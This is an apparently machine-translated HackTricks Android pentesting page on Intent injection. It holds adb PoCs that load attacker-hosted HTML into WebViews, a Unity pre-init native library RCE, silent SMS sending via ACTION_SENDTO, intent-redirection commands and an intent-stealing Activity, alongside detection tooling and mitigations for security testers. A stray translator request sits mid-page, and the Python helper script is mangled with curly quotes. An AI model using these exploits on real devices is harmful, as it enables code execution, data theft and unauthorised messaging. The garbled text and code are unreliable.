Intent Injection
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Intent injection zloupotrebljava komponente koje prihvataju Intents kojima upravlja napadač ili podatke koji se kasnije konvertuju u Intents. Dva veoma česta obrasca tokom Android app pentests su:
- Slanje prilagođenih extras ka exported Activities/Services/BroadcastReceivers koje se kasnije prosleđuju privilegovanim, non-exported komponentama.
- Pokretanje exported VIEW/BROWSABLE deep links koji prosleđuju napadačem kontrolisane URL-ove u interne WebView-e ili druge osetljive sinkove.
Deep links → WebView sink (URL parameter injection)
Ako aplikacija izlaže custom scheme deep link kao:
myscheme://com.example.app/web?url=<attacker_url>
Ako primajuća Activity prosleđuje parametar upita url u WebView, možete prisiliti aplikaciju da prikaže proizvoljni udaljeni sadržaj u svom WebView kontekstu.
PoC preko adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS se izvršava unutar WebView profila aplikacije.
- Ako je JavaScript omogućen (po defaultu ili zbog neispravnog redosleda provera), možete nabrojati/koristiti bilo koje izložene
@JavascriptInterfaceobjekte, ukrasti WebView cookies/local storage i pivotirati.
See also:
Order-of-checks bug enabling JavaScript
Česta greška je omogućavanje JavaScript-a (ili drugih permisivnih WebView podešavanja) pre nego što završi konačna allowlist/verifikacija URL-a. Ako rani helperi prihvate vaš deep link i WebView se konfiguriše prvi, konačno učitavanje će se desiti sa JavaScript-om već omogućenim čak i ako su kasnije provere pogrešne ili prekasne.
What to look for in decompiled code:
- Više pomoćnih funkcija/klasa koje različito parsiraju/razdvajaju/ponovo sastavljaju URL (nedosledna normalizacija).
- Pozivi ka
getSettings().setJavaScriptEnabled(true)pre poslednje allowlist provere hosta/putanje. - Tok obrade (pipeline) poput: parse → partial validate → configure WebView → final verify → loadUrl.
Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)
Android aplikacije zasnovane na Unity obično koriste com.unity3d.player.UnityPlayerActivity (ili UnityPlayerGameActivity) kao ulaznu Activity. Unity’s Android template tretira specijalan Intent extra pod imenom unity kao string command-line flagova za Unity runtime. Kada je entry Activity exported (podrazumevano u mnogim template-ovima), bilo koja lokalna aplikacija – a ponekad i vebsajt ako je prisutan BROWSABLE – može dostaviti ovaj extra.
Jedan opasan, nedokumentovan flag vodi izvršavanju native koda tokom vrlo rane inicijalizacije procesa:
- Hidden flag:
-xrsdk-pre-init-library <absolute-path> - Effect:
dlopen(<absolute-path>, RTLD_NOW)vrlo rano u init-u, učitava napadačem kontrolisan ELF unutar procesa ciljne aplikacije sa njenim UID-om i permisijama.
Reverse-engineering excerpt (simplified):
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW
Zašto funkcioniše
- The Intent extra
unityse parsira u Unity runtime flagove. - Isporuka pre-init flag-a usmerava Unity na attacker-controlled ELF putanju unutar dozvoljenog linker namespace path (pogledajte ograničenja ispod).
Uslovi za exploitation
- Unity entry Activity je exported (obično tačno po podrazumevanju).
- Za one-click remote putem browsera: entry Activity takođe deklariše
android.intent.category.BROWSABLEtako da se extras mogu proslediti izintent:URL-a.
Local exploitation (isti uređaj)
- Place a payload ELF at a path readable by the victim app. Najlakše: ship a malicious library in your own attacker app i osigurajte da bude extracted under
/data/app/.../lib/<abi>/tako što ćete podesiti u attacker’s manifest:
<application android:extractNativeLibs="true" ...>
- Pokrenite Unity aktivnost žrtve sa CLI pre-init flagom u
unityextra. Primer ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
- Unity calls
dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (kamera/mikrofon/mreža/skladište, itd.) and access to sesijama/podacima unutar aplikacije.
Notes
- Tačan
/data/app/...path varira između uređaja/instalacija. Napadačka aplikacija može da dohvati svoj direktorijum nativnih biblioteka u runtime-u putemgetApplicationInfo().nativeLibraryDiri prosledi ga trigger-u. - Fajl ne mora da se završava sa
.soako je validan ELF –dlopen()gleda na ELF zaglavlja, ne na ekstenzije.
Remote one‑click via browser (conditional)
Ako je Unity entry activity eksportovana sa BROWSABLE, web sajt može da prosledi extras putem intent: URL-a:
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;
Međutim, na modernom Androidu dinamički linker namespaces i SELinux blokiraju učitavanje sa mnogih javnih putanja (npr. /sdcard/Download). Videćete greške kao:
library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]
Strategija za zaobilaženje: ciljati aplikacije koje keširaju bajtove pod kontrolom napadača u svom privatnom skladištu (npr. HTTP caches). Pošto dozvoljene putanje uključuju /data i privatni dir aplikacije, usmeravanje -xrsdk-pre-init-library na apsolutnu putanju unutar cache-a aplikacije može zadovoljiti linker ograničenja i dovesti do izvršenja koda. Ovo odražava ranije cache-to-ELF RCE obrasce uočene u drugim Android aplikacijama.
Confused‑Deputy: Tihi SMS/MMS preko ACTION_SENDTO (Wear OS Google Messages)
Neke podrazumevane messaging aplikacije pogrešno automatski izvršavaju implicitne intentove za poruke, pretvarajući ih u confused‑deputy primitiv: bilo koja neprivilegovana aplikacija može pokrenuti Intent.ACTION_SENDTO sa sms:, smsto:, mms:, ili mmsto: i izazvati neposredno slanje bez potvrđujućeg UI i bez SEND_SMS dozvole.
Ključne tačke
- Okidač: implicitni
ACTION_SENDTO+ URI scheme za poruke. - Podaci: postavite primaoca u URI, tekst poruke u extra
"sms_body". - Dozvole: nijedna (bez
SEND_SMS), oslanja se na podrazumevani SMS/MMS handler. - Primećeno: Google Messages for Wear OS (patched May 2025). Ostale handlere treba oceniti na sličan način.
Minimalni payload (Kotlin)
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)
ADB PoC (bez posebnih dozvola)
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890" --es sms_body "hello"
# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890" --es sms_body "hello"
Attack surface expansion (Wear OS)
- Bilo koja komponenta koja može da pokrene activities može da pokrene isti payload: Activities, foreground Services (with
FLAG_ACTIVITY_NEW_TASK), Tiles, Complications. - Ako podrazumevani handler automatski šalje, zloupotreba može biti one‑tap ili potpuno tihi iz background konteksta u zavisnosti od OEM politika.
Pentest kontrolna lista
- Rešite
ACTION_SENDTOna cilju da identifikujete podrazumevani handler; proverite da li prikazuje UI za sastavljanje poruke ili tiho šalje. - Testirajte sve četiri sheme (
sms:,smsto:,mms:,mmsto:) i extras (sms_body, optionallysubjectfor MMS) da biste proverili razlike u ponašanju. - Uzmite u obzir destinacije koje naplaćuju/premium‑rate brojeve kada testirate na stvarnim uređajima.
Ostale klasične primitive za Intent injection
- startActivity/sendBroadcast koji koriste
Intentextras koje dostavi napadač, a koje se kasnije ponovo parsiraju (Intent.parseUri(...)) i izvršavaju. - Exported proxy komponente koje prosleđuju Intents ka non-exported osetljivim komponentama bez provere dozvola.
Automatizacija testiranja eksportovanih komponenti (Smali-driven ADB generation)
Kada eksportovane komponente očekuju specifične extras, pogađanje oblika payload-a troši vreme i dovodi do lažno-negativnih rezultata. Možete automatizovati otkrivanje ključeva/tipova direktno iz Smali i generisati spremne adb komande za izvršavanje.
Tool: APK Components Inspector
- Repo: https://github.com/thecybersandeep/apk-components-inspector
- Pristup: dekompajlirajte i skenirajte Smali za pozive kao što su
getStringExtra("key"),getIntExtra("id", ...),getParcelableExtra("redirect_intent"),getSerializableExtra(...),getBooleanExtra(...),getAction(),getData()da biste zaključili koje extras i polja svaka komponenta koristi. - Izlaz: za svaki exported Activity/Service/Receiver/Provider, alat ispisuje kratak opis i tačnu
adb shell am .../cmd content ...komandu sa ispravno tipiziranim zastavicama.
Instalacija
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich
Upotreba
python apk-components-inspector.py target.apk
Molim pošaljite sadržaj datoteke src/mobile-pentesting/android-app-pentesting/intent-injection.md ili tekst koji želite da prevedem.
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items
ADB am extras — brza referenca (zastavice osetljive na tip)
- Stringovi:
--es key value| Niz stringova:--esa key v1,v2 - Celi brojevi:
--ei key 123| Niz integera:--eia key 1,2,3 - Booleani:
--ez key true|false - Longovi:
--el key 1234567890 - Floatovi:
--ef key 1.23 - URI (extra):
--eu key content://...| Data URI (Intent data):-d content://... - Component extra:
--ecn key com.pkg/.Cls - Null string extra:
--esn key - Uobičajene zastavice:
-a <ACTION>-c <CATEGORY>-t <MIME>-f <FLAGS>--activity-clear-task --activity-new-task
Pro saveti za ContentProviders
- Koristite
adb shell cmd content query|insert|update|delete ...da pristupite ContentProviders bez agenata. - Za SQLi ispitivanje, menjajte
--projectioni--where(aka selection) kada je provider zasnovan na SQLite.
Automatizacija celog pipeline-a (interactive executor)
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Pomoćni skript za parsiranje i izvršavanje adb komandi
```python import subprocessdef parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands
for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)
</details>
Run on-device: the inspector is Python-based and works in Termux or rooted phones where `apktool`/`androguard` are available.
---
## Intent Redirection (CWE-926) – pronalaženje i eksploatisanje
Pattern
- An exported entry point (Activity/Service/Receiver) reads an incoming Intent and forwards it internally or externally without validating source/data, e.g.:
- `startActivity(getIntent())`
- `startActivity(intent)` where `intent` came from an extra like `redirect_intent`/`next_intent`/`pending_intent` or `Intent.parseUri(...)`.
- Trusting `action`/`data`/`component` fields without checks; not verifying caller identity.
What to search in Smali/Java
- Uses of `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Direct `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` on attacker-influenced Intents.
- Lack of `getCallingPackage()`/`getCallingActivity()` checks or custom permission gates.
ADB PoC templates
- Proxy Activity forwarding an extra Intent to a privileged internal Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
- Exportovan servis koji prihvata parcelable
redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
- Izvezeni Receiver koji prosleđuje bez validacije:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'
Zastavice korisne za ponašanje u stilu singleTask
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task
Real-world examples (impact varies):
- CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
- CVE-2023-44121 (LG ThinQ Service): exported receiver action
com.lge.lms.things.notification.ACTION→ efekti na nivou sistema. - CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → proizvoljan pristup fajlovima (sa interakcijom korisnika).
- CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
- CVE-2021-4438 (React Native SMS User Consent).
- CVE-2020-14116 (Xiaomi Mi Browser).
Intent Hijacking (implicit intents)
Model pretnje
- App A očekuje osetljiv rezultat od App B koristeći implicit Intent (npr. OAuth redirect, rezultat document picker-a, IMAGE_CAPTURE return, ili custom callback action).
- Attacker App C objavljuje exported component sa odgovarajućim
<intent-filter>za istiaction/category/data. Kada B reši implicit Intent, resolver može prikazati chooser; ako korisnik izabere C (ili ga postavi kao podrazumevani), payload se isporučuje attacker komponenti umesto A.
Minimal PoC manifest (attacker):
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>
Handler kostur:
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}
Napomene
- Match specificity matters (action + categories + data). Što je filter C-a specifičniji u odnosu na B-ov izlazni Intent, veća je verovatnoća da će biti prikazan ili automatski izabran.
- Ovo se takođe odnosi na deep linkove (
VIEW+BROWSABLE) kada aplikacije očekuju da će druga aplikacija obraditi URL i vratiti nešto nazad.
Pentest guidance
- Grepujte cilj za pozive
startActivity/startActivityForResult/registerForActivityResultkoji koriste non-explicit Intents. - Pregledajte Intente koji nose tokene u
extras,clipData, iligetData()i proverite da li bi treća strana mogla registrovati kompatibilan filter. - Preporučite zamenu implicitnih tokova eksplicitnim Intentima (postaviti
setPackage()/setComponent()), ili zahtevajte caller-permission/signed permissions na exported receivers/services.
Mitigacije
- Preferirajte eksplicitne Intente za osetljive tokove (callbacks, tokens, auth results).
- Kada je cross-app neophodan, dodajte zahteve za permission na primajuću komponentu i validirajte identitet pozivaoca.
- Ograničite i suzite Intent filtere samo na ono što je striktno potrebno (scheme/host/path/MIME).
Posmatranje odluka resolver-a (FLAG_DEBUG_LOG_RESOLUTION)
Kada kontrolišete pošiljaoca, dodajte Intent.FLAG_DEBUG_LOG_RESOLUTION implicitnom Intentu kako bi Android zabeležio kako se odvija rešavanje i koja komponenta će biti izabrana.
Primer:
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);
Ono što ćete videti u adb logcat je staza razrešavanja i konačna komponenta, npr. com.android.camera2/com.android.camera.CaptureActivity.
CLI savet
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008
# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"
Ovo je korisno za nabrajanje kandidata za handlere na uređaju/emulatoru i za tačno potvrđivanje koja će komponenta primiti Intent tokom testiranja.
Izvori
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
- Automating Android App Component Testing with New APK Inspector (blog)
- APK Components Inspector – GitHub
- Google guidance on intent redirection
- OVAA vulnerable app
- Exported Service PoC APK
- Ostorlab – 100M installs image app deep dive (component summary example)
- CVE-2024-26131 – NVD
- CVE-2023-44121 – CVE.org
- CVE-2023-30728 – CVE.org
- CVE-2022-36837 – CVE.org
- CVE-2021-4438 – NVD
- CVE-2020-14116 – NVD
- Android Intents (1/2): how they work, security, and attack examples – Mobeta
- Android Intent reference
- CVE-2025-59489 – Arbitrary Code Execution in Unity Runtime (blog)
- Unity docs – Android custom activity command-line
- Unity Security Sept-2025-01 advisory
- HEXACON talk – Messenger one-click cache-based RCE pattern (slides)
- CVE-2025-12080 — Intent Abuse in Google Messages for Wear OS
- PoC repo – io-no/CVE-2025-12080
- Android docs – Intents and Intent Filters
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

